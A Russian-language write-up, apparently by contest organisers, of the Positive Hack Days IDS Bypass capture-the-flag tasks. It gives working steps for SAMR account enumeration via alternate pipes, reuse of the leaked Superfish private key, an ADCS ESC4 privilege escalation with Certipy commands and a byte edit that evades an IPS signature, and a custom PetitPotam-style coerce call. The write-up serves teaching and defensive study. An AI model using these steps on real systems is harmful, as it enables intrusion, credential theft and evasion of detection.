
На Positive Hack Days любят белых хакеров, которые умеют не только атаковать, но и делать это тихо. Настолько тихо, что даже IDS ничего не заподозрит. Конкурс IDS Bypass именно об этом. Не просто получить флаг, а сделать это так, чтобы не сработало ни одно правило детектирования.
В этом году мы приготовили пять задач из самых разных областей. Хотите сдампить учетные записи через SAMR? Придется действовать нестандартно. Принять HTTPS-запрос? Прикиньтесь Superfish. А тем, кто привык использовать Responder вместе с Coercer, пришлось проявить изобретательность: встроенные методы были заблокированы.
В этой статье — подробный разбор всех задач конкурса с техническими деталями, попытками участников «не спалиться» и теми самыми моментами, когда смотришь в лог сработок и радуешься, что там пусто.
В этом году мы использовали новую платформу с веб-интерфейсом вместо предыдущей, построенной вокруг телеграм-бота. С помощью новой платформы мы смогли реализовать персональные игровые машины для каждого участника. Веб-интерфейс реализует тот же функционал с прошлых версий конкурса: получение VPN-конфигураций, сработок IPS и сдачу флагов. Мы также перешли с протокола OpenVPN на Wireguard, что позволило упростить подключение и снизить нагрузку на конкурсную инфраструктуру. Решать задачи можно было как на площадке, так и удаленно. Задания были доступны с 10:00 22 мая до 18:00 27 мая.
Curl Game

В этой задаче участникам было необходимо корректно ответить на серию вопросов, отправляя ответы в теле HTTP-запросов, например с помощью curl. Игра начиналась с простого GET-запроса на указанный хост. Задание было несложным и служило, скорее, для знакомства с игровой платформой и концепцией IPS, а сами вопросы участник получал в алертах IPS с каждым новым правильным ответом. Например:
[**] [1:2001:1] Which bug in OpenSSL sounded like a medical diagnosis? The answer must be in the request body [**]
Curl Game был разделен на два блока:
Первые семь вопросов проверяли базовую аккуратность — правильный HTTP-метод, формат запроса, наличие тела и корректную кодировку.
Остальные 16 вопросов были сложнее: добавлялись требования к заголовкам, URI, порядку ответов, а также к формату чисел и байтов.
Мы отобрали несколько интересных вопросов из задания. Прежде чем посмотреть правильные ответы, попробуйте угадать их сами.
Вопрос |
Ответ |
Which bug in OpenSSL sounded like a medical diagnosis? The answer must be in the request body |
heartbleed Пояснение: уязвимость с таким «диагнозом» — heartbleed — допускала утечку данных из памяти сервера. Название схоже с симптомом |
What kind of "disease" affected the "hearts" of computers in 2000? <3 The answer must be in the request body |
ILOVEYOU Пояснение: ILOVEYOU — знаменитый вирус в виде любовного письма, поразивший миллионы машин в 2000 году |
The request URL should contain the name of the YouTube channel where they found out the answer to the question: where are there more viruses - on the Internet or on the rim of the toilet bowl? |
seclab Пояснение: Фраза «rim of the toilet bowl» отсылает к видео на YouTube-канале SecLab, в котором в шуточной форме обсуждается, где больше вирусов — в интернете или на ободке унитаза |
Write the antonym for "Pong of life" in the request body |
ping of death Пояснение: Обратная ассоциация к «pong of life» — известный тип атаки ping of death, вызвавшей крах многих систем |
А так выглядит решение, то есть POST-запрос со всеми необходимыми ответами в верном формате:
curl -X POST -d "1;здесь ломают сервера;cobalt strike;gentilkiwi;half completed;0x504844;stuxnet;nigerian;iloveyou;heartbleed;rainbow;ping of death;ddos;fishing;wireshark;AADKMNPPR;MAC" -H "MyHead: wannAcrY" -H "Photo: 3mgFqa1q1JYrzg" localhost:8888/seclab/final_question/question.txt
just kidding {hKxCTpjOm2HY8W}
ASMR
В этой задаче участнику выдавался IP-адрес Windows-хоста вместе с данными учетной записи администратора. Участнику было необходимо по протоколу SAMR получить список всех учетных записей, зарегистрированных в целевой системе, но сделать это нужно было нестандартным способом.

SAMR (Security Account Manager Remote Protocol) — протокол на основе MSRPC (видоизмененный DCEPRC) для удаленного управления учетными записями в Windows: он позволяет не только получать информацию (имена, SID’ы, группы), но и создавать, изменять и удалять их.
Взаимодействие с MSRPC часто происходит поверх протокола SMB, и привычные инструменты, например, net.exe, используют стандартный SMB-пайп /samr. Но вот проблема: IPS блокирует подключение к этому пайпу и выдает алерт:
[**] [1:2001:1] ATTACK AD [PTsecurity] SAMR Disabled [**]
Отследив свои сетевые запросы через WireShark, участник мог бы увидеть, что блокировка происходит на попытке подключения к SMB-пайпу. Пайп — это способ доставки запроса к нужному RPC-интерфейсу, например SAMR, по SMB-соединению. Когда клиент хочет обратиться к SAMR, он подключается по SMB и затем открывает именованный пайп \\pipe\samr. Он перенаправляет вызовы (DCERPC) к соответствующему служебному процессу на стороне Windows, который реализует нужную логику, — в данном случае службу Security Account Manager.
Мы запретили не только пайп /samr, но и подключения к любым другим портам, кроме 445-го. Это было сделано для того, чтобы избежать прямого обращения к DCERPC-интерфейсу, так как многие MSRPC-службы поддерживают и такие подключения. Увидеть перечень MSRPC-служб и тех TCP-портов, которые они прослушивают, можно при помощи запроса к специальной службе EPM. Увидев алерт, участник должен был подумать: а есть ли другие методы взаимодействия с SAMR? Ответ: есть, и не один.
В Windows существует много подобных одноименных SMB-пайпов для разных сервисов: /samr, /lsarpc, /lsass и /netlogon. Оказалось, что обратиться к интерфейсу SAMR можно и через них. Узнать об этом можно было простым перебором доступных пайпов в системе.
Для выполнения задачи требовался скрипт, способный обращаться к SAMR. Например, такой есть в составе Impacket, и называется он samrdump. По умолчанию он использует пайп /samr, обращения к которому детектирует IPS. И чтобы ее обойти, нужно подправить одну строчку в исходном коде.

Один из участников @railwayka пошел нестандартным путем и использовал скрипт lookupsid из набора Impacket. Этот скрипт подключается не к /samr, а к пайпу /lsarpc и вызывает метод LsaLookupSids, чтобы выполнить брутфорс диапазона SID'ов и получить имена соответствующих учетных записей. Такой подход не просто позволял обойти /samr, но и избегал прямого обращения к этой службе. Ниже пример выполнения команды:
[*] Brute forcing SIDs at 192.168.0.18
[*] StringBinding ncacn_np:192.168.0.18[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1342582712-3466719307-2209710769
500: ASMR\Administrator (SidTypeUser)
501: ASMR\Guest (SidTypeUser)
503: ASMR\DefaultAccount (SidTypeUser)
504: ASMR\WDAGUtilityAccount (SidTypeUser)
513: ASMR\None (SidTypeGroup)
1000: ASMR\flag_s4bg17hpjoob (SidTypeUser)
1001: ASMR\1sol_spxoivijipob (SidTypeUser)
1002: ASMR\2vit_xlmnqjboolkp (SidTypeUser)
1003: ASMR\3dfi_sqxmlxperzkt (SidTypeUser)
Как итог, после дампа флаг содержался в именах нескольких учетных записей.
Lenovo

В этой задаче участникам было необходимо принять входящее HTTPS-соединение на свой игровой хост и получить флаг. Звучит просто, но нюанс в том, что не всякий сертификат считался доверенным: подняв свой HTTPS-сервер на коленке с самоподписанным сертификатом, участник получал IPS-алерт.
[**] [1:2001:1] Untrusted Certificate [**]

Получить свой доверенный сертификат в наши дни совсем несложно: достаточно лишь подтвердить владение доменным именем, и за пять минут вы можете получить бесплатный TLS-сертификат от Let’s Encrypt. Однако нужды в этом не было: запрос на такой сертификат тоже блокировался. Подсказка находится в имени таска: поискав в гугле фразу Lenovo tls certificate, можно было наткнуться на известный скандал с Superfish и найти его готовый сертификат, выложенный на GitHub. В репозитории лежал как сам сертификат, так и приватный ключ, защищенный паролем — komodia.
Если все сделано правильно, от игрового хоста прилетал POST-запрос с флагом:
Получен POST-запрос от ('192.168.0.227', 57976):
{"value":"Superfish says: You can trust me."}
192.168.0.227 - "POST / HTTP/1.1" 200
Получен POST-запрос от ('192.168.0.227', 57980):
{"flag":"ids{KojCXEa0ejezv-I}"}
Magic Certificate

В этой задаче участникам нужно было воспользоваться уязвимой конфигурацией в службе Active Directory Certificate Services (ADCS), где неправильно настроенный шаблон сертификата открывал возможность повышения привилегий.
Служба ADCS — это компонент Windows Server, отвечающий за выпуск, управление и проверку цифровых сертификатов внутри организации. Это распространенный элемент корпоративной инфраструктуры и частая цель атак.
Задача симулировала реальную ситуацию: у атакующего есть ограниченная учетная запись, но есть доступ к уязвимому шаблону в ADCS, что может открыть путь к повышению привилегий.
Подсказкой к сути задания служило само его название. Участник, распознав намек на сертификаты, должен был вспомнить или нагуглить пентест-инструменты для ADCS. Первое, что выдает большинство поисковиков и гайдов, — это Certipy, ставший стандартом для атак на ADCS.
С помощью команды:
certipy-ad find -u Player@hogwarts.local -p P@ssw0rd! -dc-ip 192.168.0.16 -ldap-scheme ldap участник искал сертификат, к которому его учетная запись имела права на изменение:
Template Name: MagicWand
. . . . . .
[!] Vulnerabilities
ESC4: User has dangerous permissions.
Раз уж есть права, то необходимо ими воспользоваться и модифицировать существующий шаблон с помощью команды:
certipy-ad template -u Player@hogwarts.local -p P@ssw0rd! -dc-ip 192.168.0.16 -template PHD -write-default-configuration -ldap-scheme ldap, заменяя его параметры на уязвимую конфигурацию для повышения привилегий:
[*] Saving current configuration to 'PHD.json'
. . . . . . .
nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
IPS была настроена на распознавание определенной последовательности байтов, характерной для SecurityDescriptor из Certipy. При попытке отправить стандартный шаблон трафик отсекался и выдавался алерт:
[**] [1:2001:1] AD CS Excessive privileges granted for certificate template [**]
Однако встроенный SecurityDescriptor (набор байтов, определяющий права пользователя на сертификат), генерируемый Certipy, выдавал пользователю полные права на шаблон сертификата — в том числе DELETE, что не является необходимым для эксплуатации этой мисконфигурации ADCS.
Решение заключалось в незначительном изменении SecurityDescriptor — например, удалении байта, отвечающего за право DELETE. Этого было достаточно, чтобы обойти срабатывание сигнатуры, сохранив возможность эксплуатации.
Для этого ранее инструментом certipy-ad был сохранен файл PHD.json, в котором можно изменить SecurityDescriptor — указать вместо байта ff010f, например, ff010e:
"nTSecurityDescriptor": "HEX:0100049c3000000000000000000000001400000002001c000100000000001400ff010e0001010000000000050b000000010500000000000515000000f5d4cd129ec4e57f6610fa15f4010000"
И воспользоваться командой для записи изменений в шаблон сертификата:
certipy-ad template -u Player@hogwarts.local -p P@ssw0rd! -dc-ip 192.168.0.16 -template PHD -write-configuration PHD.json -no-save -ldap-scheme ldap
После этого остается сделать запрос на выдачу сертификата от имени пользователя Player, но с указанием в поле UPN другого пользователя:
certipy-ad req -u Player@hogwarts.local -p P@ssw0rd! -ca HogwartsCA -target 192.168.0.16 -template PHD -upn Snape@hogwarts.local
После получения сертификата финальным этапом остается атака unpack the hash, при помощи которой участник превращает сертификат в NTLM-хеш, с которым затем можно прочитать флаг с SMB-шары:
ids{G0XU11kVWaXdCN_}
Uncoercible

В этой задаче участникам предстояло проявить изобретательность и найти нестандартный путь в технике принуждения к аутентификации, учитывая фильтрацию популярных RPC-вызовов. Флагом был словарный пароль, который нужно было сдать в обертке вида ids{...}
Coerce-атаки — это техника горизонтального перемещения в сетях Active Directory. Их суть — заставить удаленную машину аутентифицироваться на хосте атакующего, тем самым передав NetNTLM-хеш, который можно перебрать или использовать для атаки NTLM relay.
Участнику выдавалась учетная запись обычного доменного пользователя и, чтобы усложнить задачу, IPS блокировала все популярные методы из утилиты Coercer. Например:
[**] [1:2001:1] ATTACK AD [PTsecurity] PetitPotam сoerce attack. EfsRpcEncryptFileSrv method is prohibited [**]
Эти методы во многом основаны на вызовах протокола MS-EFSR, которые также эксплуатирует утилита PetitPotam. По умолчанию утилита PetitPotam эксплуатировала два метода для принудительной аутентификации, один из которых назывался EfsRpcEncryptFileSrv. Этот метод используется для шифрования выбранных файлов на Windows-хосте, однако, передав туда путь к файлу на удаленном хосте, жертву можно было заставить пройти на нем аутентификацию от системной учетной записи. Позднее стало известно и о других рабочих методах. Оригинальный скрипт от topotam использует только два метода, но в его коде есть упоминание и других существующих методов этого протокола. Не для всех из них можно найти готовые скрипты. Как раз один из таких методов и надо было самостоятельно реализовать участникам, например EfsRpcEncryptFileExSrv. Подсказка заключалась в том, что на каждый известный DCERPC-вызов участник получал разные сообщения алертов с их названиями.
Для реализации метода участник мог отредактировать скрипт Coercer, добавив новую команду EfsRpcEncryptFileExSrv (21), скопировать структуру запроса и ответа из скрипта topotam. Проведя успешную атаку и получив NetNTLM-хеш, его нужно было сбрутить с помощью словаря rockyou, о чем упоминалось в начале. Как итог, участник получал флаг:
ids{cookiemonster}
Итоги
Мы подробно разобрали каждую задачу — конкурс был интересным и оставил после себя много драйва и положительных эмоций.
Ниже — количество решений по задачам.
? Задача |
✅ Количество решений |
Curl Game |
42 |
ASMR |
13 |
Lenovo |
6 |
Uncoercible |
4 |
Magic Certificate |
2 |
А теперь самое время познакомиться с победителями!
1️⃣ Pavel Cherepanov |
2️⃣ Vladimir |
3️⃣ Yura Shubnyy |
? Очки: 5770 |
? Очки: 3359 |
? Очки: 1868 |
? Решено задач: 5 |
? Решено задач: 5 |
? Решено задач: 3 |
Всем огромное спасибо за участие и проявленный интерес к нашему конкурсу. До встречи в следующем году!
Разборы предыдущих конкурсов IDS Bypass: